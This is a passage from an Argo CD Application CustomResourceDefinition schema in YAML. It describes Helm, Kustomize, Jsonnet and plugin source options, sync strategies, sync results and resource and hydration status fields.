                                        type: boolean
                                      releaseName:
                                        description: ReleaseName is the Helm release
                                          name to use. If omitted it will use the
                                          application name
                                        type: string
                                      skipCrds:
                                        description: SkipCrds skips custom resource
                                          definition installation step (Helm's --skip-crds)
                                        type: boolean
                                      skipSchemaValidation:
                                        description: SkipSchemaValidation skips JSON
                                          schema validation (Helm's --skip-schema-validation)
                                        type: boolean
                                      skipTests:
                                        description: SkipTests skips test manifest
                                          installation step (Helm's --skip-tests).
                                        type: boolean
                                      valueFiles:
                                        description: ValuesFiles is a list of Helm
                                          value files to use when generating a template
                                        items:
                                          type: string
                                        type: array
                                      values:
                                        description: Values specifies Helm values
                                          to be passed to helm template, typically
                                          defined as a block. ValuesObject takes precedence
                                          over Values, so use one or the other.
                                        type: string
                                      valuesObject:
                                        description: ValuesObject specifies Helm values
                                          to be passed to helm template, defined as
                                          a map. This takes precedence over Values.
                                        type: object
                                        x-kubernetes-preserve-unknown-fields: true
                                      version:
                                        description: Version is the Helm version to
                                          use for templating ("3")
                                        type: string
                                    type: object
                                  kustomize:
                                    description: Kustomize holds kustomize specific
                                      options
                                    properties:
                                      apiVersions:
                                        description: |-
                                          APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                          Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                        items:
                                          type: string
                                        type: array
                                      commonAnnotations:
                                        additionalProperties:
                                          type: string
                                        description: CommonAnnotations is a list of
                                          additional annotations to add to rendered
                                          manifests
                                        type: object
                                      commonAnnotationsEnvsubst:
                                        description: CommonAnnotationsEnvsubst specifies
                                          whether to apply env variables substitution
                                          for annotation values
                                        type: boolean
                                      commonLabels:
                                        additionalProperties:
                                          type: string
                                        description: CommonLabels is a list of additional
                                          labels to add to rendered manifests
                                        type: object
                                      components:
                                        description: Components specifies a list of
                                          kustomize components to add to the kustomization
                                          before building
                                        items:
                                          type: string
                                        type: array
                                      forceCommonAnnotations:
                                        description: ForceCommonAnnotations specifies
                                          whether to force applying common annotations
                                          to resources for Kustomize apps
                                        type: boolean
                                      forceCommonLabels:
                                        description: ForceCommonLabels specifies whether
                                          to force applying common labels to resources
                                          for Kustomize apps
                                        type: boolean
                                      ignoreMissingComponents:
                                        description: IgnoreMissingComponents prevents
                                          kustomize from failing when components do
                                          not exist locally by not appending them
                                          to kustomization file
                                        type: boolean
                                      images:
                                        description: Images is a list of Kustomize
                                          image override specifications
                                        items:
                                          description: KustomizeImage represents a
                                            Kustomize image definition in the format
                                            [old_image_name=]<image_name>:<image_tag>
                                          type: string
                                        type: array
                                      kubeVersion:
                                        description: |-
                                          KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                          uses the Kubernetes version of the target cluster.
                                        type: string
                                      labelIncludeTemplates:
                                        description: LabelIncludeTemplates specifies
                                          whether to apply common labels to resource
                                          templates or not
                                        type: boolean
                                      labelWithoutSelector:
                                        description: LabelWithoutSelector specifies
                                          whether to apply common labels to resource
                                          selectors or not
                                        type: boolean
                                      namePrefix:
                                        description: NamePrefix is a prefix appended
                                          to resources for Kustomize apps
                                        type: string
                                      nameSuffix:
                                        description: NameSuffix is a suffix appended
                                          to resources for Kustomize apps
                                        type: string
                                      namespace:
                                        description: Namespace sets the namespace
                                          that Kustomize adds to all resources
                                        type: string
                                      patches:
                                        description: Patches is a list of Kustomize
                                          patches
                                        items:
                                          properties:
                                            options:
                                              additionalProperties:
                                                type: boolean
                                              type: object
                                            patch:
                                              type: string
                                            path:
                                              type: string
                                            target:
                                              properties:
                                                annotationSelector:
                                                  type: string
                                                group:
                                                  type: string
                                                kind:
                                                  type: string
                                                labelSelector:
                                                  type: string
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                version:
                                                  type: string
                                              type: object
                                          type: object
                                        type: array
                                      replicas:
                                        description: Replicas is a list of Kustomize
                                          Replicas override specifications
                                        items:
                                          properties:
                                            count:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              description: Number of replicas
                                              x-kubernetes-int-or-string: true
                                            name:
                                              description: Name of Deployment or StatefulSet
                                              type: string
                                          required:
                                          - count
                                          - name
                                          type: object
                                        type: array
                                      version:
                                        description: Version controls which version
                                          of Kustomize to use for rendering manifests
                                        type: string
                                    type: object
                                  name:
                                    description: Name is used to refer to a source
                                      and is displayed in the UI. It is used in multi-source
                                      Applications.
                                    type: string
                                  path:
                                    description: Path is a directory path within the
                                      Git repository, and is only valid for applications
                                      sourced from Git.
                                    type: string
                                  plugin:
                                    description: Plugin holds config management plugin
                                      specific options
                                    properties:
                                      env:
                                        description: Env is a list of environment
                                          variable entries
                                        items:
                                          description: EnvEntry represents an entry
                                            in the application's environment
                                          properties:
                                            name:
                                              description: Name is the name of the
                                                variable, usually expressed in uppercase
                                              type: string
                                            value:
                                              description: Value is the value of the
                                                variable
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                      name:
                                        type: string
                                      parameters:
                                        items:
                                          properties:
                                            array:
                                              description: Array is the value of an
                                                array type parameter.
                                              items:
                                                type: string
                                              type: array
                                            map:
                                              additionalProperties:
                                                type: string
                                              description: Map is the value of a map
                                                type parameter.
                                              type: object
                                            name:
                                              description: Name is the name identifying
                                                a parameter.
                                              type: string
                                            string:
                                              description: String_ is the value of
                                                a string type parameter.
                                              type: string
                                          type: object
                                        type: array
                                    type: object
                                  ref:
                                    description: Ref is reference to another source
                                      within sources field. This field will not be
                                      used if used with a `source` tag.
                                    type: string
                                  repoURL:
                                    description: RepoURL is the URL to the repository
                                      (Git or Helm) that contains the application
                                      manifests
                                    type: string
                                  targetRevision:
                                    description: |-
                                      TargetRevision defines the revision of the source to sync the application to.
                                      In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                      In case of Helm, this is a semver tag for the Chart's version.
                                    type: string
                                required:
                                - repoURL
                                type: object
                              type: array
                            syncOptions:
                              description: SyncOptions provide per-sync sync-options,
                                e.g. Validate=false
                              items:
                                type: string
                              type: array
                            syncStrategy:
                              description: SyncStrategy describes how to perform the
                                sync
                              properties:
                                apply:
                                  description: Apply will perform a `kubectl apply`
                                    to perform the sync.
                                  properties:
                                    force:
                                      description: |-
                                        Force indicates whether or not to supply the --force flag to `kubectl apply`.
                                        The --force flag deletes and re-create the resource, when PATCH encounters conflict and has
                                        retried for 5 times.
                                      type: boolean
                                  type: object
                                hook:
                                  description: Hook will submit any referenced resources
                                    to perform the sync. This is the default strategy
                                  properties:
                                    force:
                                      description: |-
                                        Force indicates whether or not to supply the --force flag to `kubectl apply`.
                                        The --force flag deletes and re-create the resource, when PATCH encounters conflict and has
                                        retried for 5 times.
                                      type: boolean
                                  type: object
                              type: object
                          type: object
                      type: object
                    phase:
                      description: Phase is the current phase of the operation
                      type: string
                    retryCount:
                      description: RetryCount contains time of operation retries
                      format: int64
                      type: integer
                    startedAt:
                      description: StartedAt contains time of operation start
                      format: date-time
                      type: string
                    syncResult:
                      description: SyncResult is the result of a Sync operation
                      properties:
                        managedNamespaceMetadata:
                          description: ManagedNamespaceMetadata contains the current
                            sync state of managed namespace metadata
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                          type: object
                        resources:
                          description: Resources contains a list of sync result items
                            for each individual resource in a sync operation
                          items:
                            description: ResourceResult holds the operation result
                              details of a specific resource
                            properties:
                              group:
                                description: Group specifies the API group of the
                                  resource
                                type: string
                              hookPhase:
                                description: |-
                                  HookPhase contains the state of any operation associated with this resource OR hook
                                  This can also contain values for non-hook resources.
                                type: string
                              hookType:
                                description: HookType specifies the type of the hook.
                                  Empty for non-hook resources
                                type: string
                              images:
                                description: Images contains the images related to
                                  the ResourceResult
                                items:
                                  type: string
                                type: array
                              kind:
                                description: Kind specifies the API kind of the resource
                                type: string
                              message:
                                description: Message contains an informational or
                                  error message for the last sync OR operation
                                type: string
                              name:
                                description: Name specifies the name of the resource
                                type: string
                              namespace:
                                description: Namespace specifies the target namespace
                                  of the resource
                                type: string
                              status:
                                description: Status holds the final result of the
                                  sync. Will be empty if the resources is yet to be
                                  applied/pruned and is always zero-value for hooks
                                type: string
                              syncPhase:
                                description: SyncPhase indicates the particular phase
                                  of the sync that this result was acquired in
                                type: string
                              version:
                                description: Version specifies the API version of
                                  the resource
                                type: string
                            required:
                            - group
                            - kind
                            - name
                            - namespace
                            - version
                            type: object
                          type: array
                        revision:
                          description: Revision holds the revision this sync operation
                            was performed to
                          type: string
                        revisions:
                          description: Revisions holds the revision this sync operation
                            was performed for respective indexed source in sources
                            field
                          items:
                            type: string
                          type: array
                        source:
                          description: Source records the application source information
                            of the sync, used for comparing auto-sync
                          properties:
                            chart:
                              description: Chart is a Helm chart name, and must be
                                specified for applications sourced from a Helm repo.
                              type: string
                            directory:
                              description: Directory holds path/directory specific
                                options
                              properties:
                                exclude:
                                  description: Exclude contains a glob pattern to
                                    match paths against that should be explicitly
                                    excluded from being used during manifest generation
                                  type: string
                                include:
                                  description: Include contains a glob pattern to
                                    match paths against that should be explicitly
                                    included during manifest generation
                                  type: string
                                jsonnet:
                                  description: Jsonnet holds options specific to Jsonnet
                                  properties:
                                    extVars:
                                      description: ExtVars is a list of Jsonnet External
                                        Variables
                                      items:
                                        description: JsonnetVar represents a variable
                                          to be passed to jsonnet during manifest
                                          generation
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                    libs:
                                      description: Additional library search dirs
                                      items:
                                        type: string
                                      type: array
                                    tlas:
                                      description: TLAS is a list of Jsonnet Top-level
                                        Arguments
                                      items:
                                        description: JsonnetVar represents a variable
                                          to be passed to jsonnet during manifest
                                          generation
                                        properties:
                                          code:
                                            type: boolean
                                          name:
                                            type: string
                                          value:
                                            type: string
                                        required:
                                        - name
                                        - value
                                        type: object
                                      type: array
                                  type: object
                                recurse:
                                  description: Recurse specifies whether to scan a
                                    directory recursively for manifests
                                  type: boolean
                              type: object
                            helm:
                              description: Helm holds helm specific options
                              properties:
                                apiVersions:
                                  description: |-
                                    APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                    Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                  items:
                                    type: string
                                  type: array
                                fileParameters:
                                  description: FileParameters are file parameters
                                    to the helm template
                                  items:
                                    description: HelmFileParameter is a file parameter
                                      that's passed to helm template during manifest
                                      generation
                                    properties:
                                      name:
                                        description: Name is the name of the Helm
                                          parameter
                                        type: string
                                      path:
                                        description: Path is the path to the file
                                          containing the values for the Helm parameter
                                        type: string
                                    type: object
                                  type: array
                                ignoreMissingValueFiles:
                                  description: IgnoreMissingValueFiles prevents helm
                                    template from failing when valueFiles do not exist
                                    locally by not appending them to helm template
                                    --values
                                  type: boolean
                                kubeVersion:
                                  description: |-
                                    KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                    uses the Kubernetes version of the target cluster.
                                  type: string
                                namespace:
                                  description: Namespace is an optional namespace
                                    to template with. If left empty, defaults to the
                                    app's destination namespace.
                                  type: string
                                parameters:
                                  description: Parameters is a list of Helm parameters
                                    which are passed to the helm template command
                                    upon manifest generation
                                  items:
                                    description: HelmParameter is a parameter that's
                                      passed to helm template during manifest generation
                                    properties:
                                      forceString:
                                        description: ForceString determines whether
                                          to tell Helm to interpret booleans and numbers
                                          as strings
                                        type: boolean
                                      name:
                                        description: Name is the name of the Helm
                                          parameter
                                        type: string
                                      value:
                                        description: Value is the value for the Helm
                                          parameter
                                        type: string
                                    type: object
                                  type: array
                                passCredentials:
                                  description: PassCredentials pass credentials to
                                    all domains (Helm's --pass-credentials)
                                  type: boolean
                                releaseName:
                                  description: ReleaseName is the Helm release name
                                    to use. If omitted it will use the application
                                    name
                                  type: string
                                skipCrds:
                                  description: SkipCrds skips custom resource definition
                                    installation step (Helm's --skip-crds)
                                  type: boolean
                                skipSchemaValidation:
                                  description: SkipSchemaValidation skips JSON schema
                                    validation (Helm's --skip-schema-validation)
                                  type: boolean
                                skipTests:
                                  description: SkipTests skips test manifest installation
                                    step (Helm's --skip-tests).
                                  type: boolean
                                valueFiles:
                                  description: ValuesFiles is a list of Helm value
                                    files to use when generating a template
                                  items:
                                    type: string
                                  type: array
                                values:
                                  description: Values specifies Helm values to be
                                    passed to helm template, typically defined as
                                    a block. ValuesObject takes precedence over Values,
                                    so use one or the other.
                                  type: string
                                valuesObject:
                                  description: ValuesObject specifies Helm values
                                    to be passed to helm template, defined as a map.
                                    This takes precedence over Values.
                                  type: object
                                  x-kubernetes-preserve-unknown-fields: true
                                version:
                                  description: Version is the Helm version to use
                                    for templating ("3")
                                  type: string
                              type: object
                            kustomize:
                              description: Kustomize holds kustomize specific options
                              properties:
                                apiVersions:
                                  description: |-
                                    APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                    Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                  items:
                                    type: string
                                  type: array
                                commonAnnotations:
                                  additionalProperties:
                                    type: string
                                  description: CommonAnnotations is a list of additional
                                    annotations to add to rendered manifests
                                  type: object
                                commonAnnotationsEnvsubst:
                                  description: CommonAnnotationsEnvsubst specifies
                                    whether to apply env variables substitution for
                                    annotation values
                                  type: boolean
                                commonLabels:
                                  additionalProperties:
                                    type: string
                                  description: CommonLabels is a list of additional
                                    labels to add to rendered manifests
                                  type: object
                                components:
                                  description: Components specifies a list of kustomize
                                    components to add to the kustomization before
                                    building
                                  items:
                                    type: string
                                  type: array
                                forceCommonAnnotations:
                                  description: ForceCommonAnnotations specifies whether
                                    to force applying common annotations to resources
                                    for Kustomize apps
                                  type: boolean
                                forceCommonLabels:
                                  description: ForceCommonLabels specifies whether
                                    to force applying common labels to resources for
                                    Kustomize apps
                                  type: boolean
                                ignoreMissingComponents:
                                  description: IgnoreMissingComponents prevents kustomize
                                    from failing when components do not exist locally
                                    by not appending them to kustomization file
                                  type: boolean
                                images:
                                  description: Images is a list of Kustomize image
                                    override specifications
                                  items:
                                    description: KustomizeImage represents a Kustomize
                                      image definition in the format [old_image_name=]<image_name>:<image_tag>
                                    type: string
                                  type: array
                                kubeVersion:
                                  description: |-
                                    KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                    uses the Kubernetes version of the target cluster.
                                  type: string
                                labelIncludeTemplates:
                                  description: LabelIncludeTemplates specifies whether
                                    to apply common labels to resource templates or
                                    not
                                  type: boolean
                                labelWithoutSelector:
                                  description: LabelWithoutSelector specifies whether
                                    to apply common labels to resource selectors or
                                    not
                                  type: boolean
                                namePrefix:
                                  description: NamePrefix is a prefix appended to
                                    resources for Kustomize apps
                                  type: string
                                nameSuffix:
                                  description: NameSuffix is a suffix appended to
                                    resources for Kustomize apps
                                  type: string
                                namespace:
                                  description: Namespace sets the namespace that Kustomize
                                    adds to all resources
                                  type: string
                                patches:
                                  description: Patches is a list of Kustomize patches
                                  items:
                                    properties:
                                      options:
                                        additionalProperties:
                                          type: boolean
                                        type: object
                                      patch:
                                        type: string
                                      path:
                                        type: string
                                      target:
                                        properties:
                                          annotationSelector:
                                            type: string
                                          group:
                                            type: string
                                          kind:
                                            type: string
                                          labelSelector:
                                            type: string
                                          name:
                                            type: string
                                          namespace:
                                            type: string
                                          version:
                                            type: string
                                        type: object
                                    type: object
                                  type: array
                                replicas:
                                  description: Replicas is a list of Kustomize Replicas
                                    override specifications
                                  items:
                                    properties:
                                      count:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        description: Number of replicas
                                        x-kubernetes-int-or-string: true
                                      name:
                                        description: Name of Deployment or StatefulSet
                                        type: string
                                    required:
                                    - count
                                    - name
                                    type: object
                                  type: array
                                version:
                                  description: Version controls which version of Kustomize
                                    to use for rendering manifests
                                  type: string
                              type: object
                            name:
                              description: Name is used to refer to a source and is
                                displayed in the UI. It is used in multi-source Applications.
                              type: string
                            path:
                              description: Path is a directory path within the Git
                                repository, and is only valid for applications sourced
                                from Git.
                              type: string
                            plugin:
                              description: Plugin holds config management plugin specific
                                options
                              properties:
                                env:
                                  description: Env is a list of environment variable
                                    entries
                                  items:
                                    description: EnvEntry represents an entry in the
                                      application's environment
                                    properties:
                                      name:
                                        description: Name is the name of the variable,
                                          usually expressed in uppercase
                                        type: string
                                      value:
                                        description: Value is the value of the variable
                                        type: string
                                    required:
                                    - name
                                    - value
                                    type: object
                                  type: array
                                name:
                                  type: string
                                parameters:
                                  items:
                                    properties:
                                      array:
                                        description: Array is the value of an array
                                          type parameter.
                                        items:
                                          type: string
                                        type: array
                                      map:
                                        additionalProperties:
                                          type: string
                                        description: Map is the value of a map type
                                          parameter.
                                        type: object
                                      name:
                                        description: Name is the name identifying
                                          a parameter.
                                        type: string
                                      string:
                                        description: String_ is the value of a string
                                          type parameter.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                            ref:
                              description: Ref is reference to another source within
                                sources field. This field will not be used if used
                                with a `source` tag.
                              type: string
                            repoURL:
                              description: RepoURL is the URL to the repository (Git
                                or Helm) that contains the application manifests
                              type: string
                            targetRevision:
                              description: |-
                                TargetRevision defines the revision of the source to sync the application to.
                                In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                In case of Helm, this is a semver tag for the Chart's version.
                              type: string
                          required:
                          - repoURL
                          type: object
                        sources:
                          description: Source records the application source information
                            of the sync, used for comparing auto-sync
                          items:
                            description: ApplicationSource contains all required information
                              about the source of an application
                            properties:
                              chart:
                                description: Chart is a Helm chart name, and must
                                  be specified for applications sourced from a Helm
                                  repo.
                                type: string
                              directory:
                                description: Directory holds path/directory specific
                                  options
                                properties:
                                  exclude:
                                    description: Exclude contains a glob pattern to
                                      match paths against that should be explicitly
                                      excluded from being used during manifest generation
                                    type: string
                                  include:
                                    description: Include contains a glob pattern to
                                      match paths against that should be explicitly
                                      included during manifest generation
                                    type: string
                                  jsonnet:
                                    description: Jsonnet holds options specific to
                                      Jsonnet
                                    properties:
                                      extVars:
                                        description: ExtVars is a list of Jsonnet
                                          External Variables
                                        items:
                                          description: JsonnetVar represents a variable
                                            to be passed to jsonnet during manifest
                                            generation
                                          properties:
                                            code:
                                              type: boolean
                                            name:
                                              type: string
                                            value:
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                      libs:
                                        description: Additional library search dirs
                                        items:
                                          type: string
                                        type: array
                                      tlas:
                                        description: TLAS is a list of Jsonnet Top-level
                                          Arguments
                                        items:
                                          description: JsonnetVar represents a variable
                                            to be passed to jsonnet during manifest
                                            generation
                                          properties:
                                            code:
                                              type: boolean
                                            name:
                                              type: string
                                            value:
                                              type: string
                                          required:
                                          - name
                                          - value
                                          type: object
                                        type: array
                                    type: object
                                  recurse:
                                    description: Recurse specifies whether to scan
                                      a directory recursively for manifests
                                    type: boolean
                                type: object
                              helm:
                                description: Helm holds helm specific options
                                properties:
                                  apiVersions:
                                    description: |-
                                      APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                      Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                    items:
                                      type: string
                                    type: array
                                  fileParameters:
                                    description: FileParameters are file parameters
                                      to the helm template
                                    items:
                                      description: HelmFileParameter is a file parameter
                                        that's passed to helm template during manifest
                                        generation
                                      properties:
                                        name:
                                          description: Name is the name of the Helm
                                            parameter
                                          type: string
                                        path:
                                          description: Path is the path to the file
                                            containing the values for the Helm parameter
                                          type: string
                                      type: object
                                    type: array
                                  ignoreMissingValueFiles:
                                    description: IgnoreMissingValueFiles prevents
                                      helm template from failing when valueFiles do
                                      not exist locally by not appending them to helm
                                      template --values
                                    type: boolean
                                  kubeVersion:
                                    description: |-
                                      KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                      uses the Kubernetes version of the target cluster.
                                    type: string
                                  namespace:
                                    description: Namespace is an optional namespace
                                      to template with. If left empty, defaults to
                                      the app's destination namespace.
                                    type: string
                                  parameters:
                                    description: Parameters is a list of Helm parameters
                                      which are passed to the helm template command
                                      upon manifest generation
                                    items:
                                      description: HelmParameter is a parameter that's
                                        passed to helm template during manifest generation
                                      properties:
                                        forceString:
                                          description: ForceString determines whether
                                            to tell Helm to interpret booleans and
                                            numbers as strings
                                          type: boolean
                                        name:
                                          description: Name is the name of the Helm
                                            parameter
                                          type: string
                                        value:
                                          description: Value is the value for the
                                            Helm parameter
                                          type: string
                                      type: object
                                    type: array
                                  passCredentials:
                                    description: PassCredentials pass credentials
                                      to all domains (Helm's --pass-credentials)
                                    type: boolean
                                  releaseName:
                                    description: ReleaseName is the Helm release name
                                      to use. If omitted it will use the application
                                      name
                                    type: string
                                  skipCrds:
                                    description: SkipCrds skips custom resource definition
                                      installation step (Helm's --skip-crds)
                                    type: boolean
                                  skipSchemaValidation:
                                    description: SkipSchemaValidation skips JSON schema
                                      validation (Helm's --skip-schema-validation)
                                    type: boolean
                                  skipTests:
                                    description: SkipTests skips test manifest installation
                                      step (Helm's --skip-tests).
                                    type: boolean
                                  valueFiles:
                                    description: ValuesFiles is a list of Helm value
                                      files to use when generating a template
                                    items:
                                      type: string
                                    type: array
                                  values:
                                    description: Values specifies Helm values to be
                                      passed to helm template, typically defined as
                                      a block. ValuesObject takes precedence over
                                      Values, so use one or the other.
                                    type: string
                                  valuesObject:
                                    description: ValuesObject specifies Helm values
                                      to be passed to helm template, defined as a
                                      map. This takes precedence over Values.
                                    type: object
                                    x-kubernetes-preserve-unknown-fields: true
                                  version:
                                    description: Version is the Helm version to use
                                      for templating ("3")
                                    type: string
                                type: object
                              kustomize:
                                description: Kustomize holds kustomize specific options
                                properties:
                                  apiVersions:
                                    description: |-
                                      APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                      Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                    items:
                                      type: string
                                    type: array
                                  commonAnnotations:
                                    additionalProperties:
                                      type: string
                                    description: CommonAnnotations is a list of additional
                                      annotations to add to rendered manifests
                                    type: object
                                  commonAnnotationsEnvsubst:
                                    description: CommonAnnotationsEnvsubst specifies
                                      whether to apply env variables substitution
                                      for annotation values
                                    type: boolean
                                  commonLabels:
                                    additionalProperties:
                                      type: string
                                    description: CommonLabels is a list of additional
                                      labels to add to rendered manifests
                                    type: object
                                  components:
                                    description: Components specifies a list of kustomize
                                      components to add to the kustomization before
                                      building
                                    items:
                                      type: string
                                    type: array
                                  forceCommonAnnotations:
                                    description: ForceCommonAnnotations specifies
                                      whether to force applying common annotations
                                      to resources for Kustomize apps
                                    type: boolean
                                  forceCommonLabels:
                                    description: ForceCommonLabels specifies whether
                                      to force applying common labels to resources
                                      for Kustomize apps
                                    type: boolean
                                  ignoreMissingComponents:
                                    description: IgnoreMissingComponents prevents
                                      kustomize from failing when components do not
                                      exist locally by not appending them to kustomization
                                      file
                                    type: boolean
                                  images:
                                    description: Images is a list of Kustomize image
                                      override specifications
                                    items:
                                      description: KustomizeImage represents a Kustomize
                                        image definition in the format [old_image_name=]<image_name>:<image_tag>
                                      type: string
                                    type: array
                                  kubeVersion:
                                    description: |-
                                      KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                      uses the Kubernetes version of the target cluster.
                                    type: string
                                  labelIncludeTemplates:
                                    description: LabelIncludeTemplates specifies whether
                                      to apply common labels to resource templates
                                      or not
                                    type: boolean
                                  labelWithoutSelector:
                                    description: LabelWithoutSelector specifies whether
                                      to apply common labels to resource selectors
                                      or not
                                    type: boolean
                                  namePrefix:
                                    description: NamePrefix is a prefix appended to
                                      resources for Kustomize apps
                                    type: string
                                  nameSuffix:
                                    description: NameSuffix is a suffix appended to
                                      resources for Kustomize apps
                                    type: string
                                  namespace:
                                    description: Namespace sets the namespace that
                                      Kustomize adds to all resources
                                    type: string
                                  patches:
                                    description: Patches is a list of Kustomize patches
                                    items:
                                      properties:
                                        options:
                                          additionalProperties:
                                            type: boolean
                                          type: object
                                        patch:
                                          type: string
                                        path:
                                          type: string
                                        target:
                                          properties:
                                            annotationSelector:
                                              type: string
                                            group:
                                              type: string
                                            kind:
                                              type: string
                                            labelSelector:
                                              type: string
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                            version:
                                              type: string
                                          type: object
                                      type: object
                                    type: array
                                  replicas:
                                    description: Replicas is a list of Kustomize Replicas
                                      override specifications
                                    items:
                                      properties:
                                        count:
                                          anyOf:
                                          - type: integer
                                          - type: string
                                          description: Number of replicas
                                          x-kubernetes-int-or-string: true
                                        name:
                                          description: Name of Deployment or StatefulSet
                                          type: string
                                      required:
                                      - count
                                      - name
                                      type: object
                                    type: array
                                  version:
                                    description: Version controls which version of
                                      Kustomize to use for rendering manifests
                                    type: string
                                type: object
                              name:
                                description: Name is used to refer to a source and
                                  is displayed in the UI. It is used in multi-source
                                  Applications.
                                type: string
                              path:
                                description: Path is a directory path within the Git
                                  repository, and is only valid for applications sourced
                                  from Git.
                                type: string
                              plugin:
                                description: Plugin holds config management plugin
                                  specific options
                                properties:
                                  env:
                                    description: Env is a list of environment variable
                                      entries
                                    items:
                                      description: EnvEntry represents an entry in
                                        the application's environment
                                      properties:
                                        name:
                                          description: Name is the name of the variable,
                                            usually expressed in uppercase
                                          type: string
                                        value:
                                          description: Value is the value of the variable
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  name:
                                    type: string
                                  parameters:
                                    items:
                                      properties:
                                        array:
                                          description: Array is the value of an array
                                            type parameter.
                                          items:
                                            type: string
                                          type: array
                                        map:
                                          additionalProperties:
                                            type: string
                                          description: Map is the value of a map type
                                            parameter.
                                          type: object
                                        name:
                                          description: Name is the name identifying
                                            a parameter.
                                          type: string
                                        string:
                                          description: String_ is the value of a string
                                            type parameter.
                                          type: string
                                      type: object
                                    type: array
                                type: object
                              ref:
                                description: Ref is reference to another source within
                                  sources field. This field will not be used if used
                                  with a `source` tag.
                                type: string
                              repoURL:
                                description: RepoURL is the URL to the repository
                                  (Git or Helm) that contains the application manifests
                                type: string
                              targetRevision:
                                description: |-
                                  TargetRevision defines the revision of the source to sync the application to.
                                  In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                                  In case of Helm, this is a semver tag for the Chart's version.
                                type: string
                            required:
                            - repoURL
                            type: object
                          type: array
                      required:
                      - revision
                      type: object
                  required:
                  - operation
                  - phase
                  - startedAt
                  type: object
                reconciledAt:
                  description: ReconciledAt indicates when the application state was
                    reconciled using the latest git version
                  format: date-time
                  type: string
                resourceHealthSource:
                  description: 'ResourceHealthSource indicates where the resource
                    health status is stored: inline if not set or appTree'
                  type: string
                resources:
                  description: Resources is a list of Kubernetes resources managed
                    by this application
                  items:
                    description: ResourceStatus holds the current synchronization
                      and health status of a Kubernetes resource.
                    properties:
                      group:
                        description: Group represents the API group of the resource
                          (e.g., "apps" for Deployments).
                        type: string
                      health:
                        description: Health indicates the health status of the resource
                          (e.g., Healthy, Degraded, Progressing).
                        properties:
                          lastTransitionTime:
                            description: |-
                              LastTransitionTime is the time the HealthStatus was set or updated

                              Deprecated: this field is not used and will be removed in a future release.
                            format: date-time
                            type: string
                          message:
                            description: Message is a human-readable informational
                              message describing the health status
                            type: string
                          status:
                            description: Status holds the status code of the resource
                            type: string
                        type: object
                      hook:
                        description: Hook is true if the resource is used as a lifecycle
                          hook in an Argo CD application.
                        type: boolean
                      kind:
                        description: Kind specifies the type of the resource (e.g.,
                          "Deployment", "Service").
                        type: string
                      name:
                        description: Name is the unique name of the resource within
                          the namespace.
                        type: string
                      namespace:
                        description: Namespace defines the Kubernetes namespace where
                          the resource is located.
                        type: string
                      requiresDeletionConfirmation:
                        description: RequiresDeletionConfirmation is true if the resource
                          requires explicit user confirmation before deletion.
                        type: boolean
                      requiresPruning:
                        description: RequiresPruning is true if the resource needs
                          to be pruned (deleted) as part of synchronization.
                        type: boolean
                      status:
                        description: Status represents the synchronization state of
                          the resource (e.g., Synced, OutOfSync).
                        type: string
                      syncWave:
                        description: |-
                          SyncWave determines the order in which resources are applied during a sync operation.
                          Lower values are applied first.
                        format: int64
                        type: integer
                      version:
                        description: Version indicates the API version of the resource
                          (e.g., "v1", "v1beta1").
                        type: string
                    type: object
                  type: array
                sourceHydrator:
                  description: SourceHydrator stores information about the current
                    state of source hydration
                  properties:
                    currentOperation:
                      description: CurrentOperation holds the status of the hydrate
                        operation
                      properties:
                        drySHA:
                          description: DrySHA holds the resolved revision (sha) of
                            the dry source as of the most recent reconciliation
                          type: string
                        finishedAt:
                          description: FinishedAt indicates when the hydrate operation
                            finished
                          format: date-time
                          type: string
                        hydratedSHA:
                          description: HydratedSHA holds the resolved revision (sha)
                            of the hydrated source as of the most recent reconciliation
                          type: string
                        message:
                          description: Message contains a message describing the current
                            status of the hydrate operation
                          type: string
                        phase:
                          description: Phase indicates the status of the hydrate operation
                          enum:
                          - Hydrating
                          - Failed
                          - Hydrated
                          type: string
                        sourceHydrator:
                          description: SourceHydrator holds the hydrator config used
                            for the hydrate operation
                          properties:
                            drySource:
                              description: DrySource specifies where the dry "don't
                                repeat yourself" manifest source lives.
                              properties:
                                path:
                                  description: Path is a directory path within the
                                    Git repository where the manifests are located
                                  type: string
                                repoURL:
                                  description: RepoURL is the URL to the git repository
                                    that contains the application manifests
                                  type: string
                                targetRevision:
                                  description: TargetRevision defines the revision
                                    of the source to hydrate
                                  type: string
                              required:
                              - path
                              - repoURL
                              - targetRevision
                              type: object
                            hydrateTo:
                              description: |-
                                HydrateTo specifies an optional "staging" location to push hydrated manifests to. An external system would then
                                have to move manifests to the SyncSource, e.g. by pull request.
                              properties:
                                targetBranch:
                                  description: TargetBranch is the branch to which
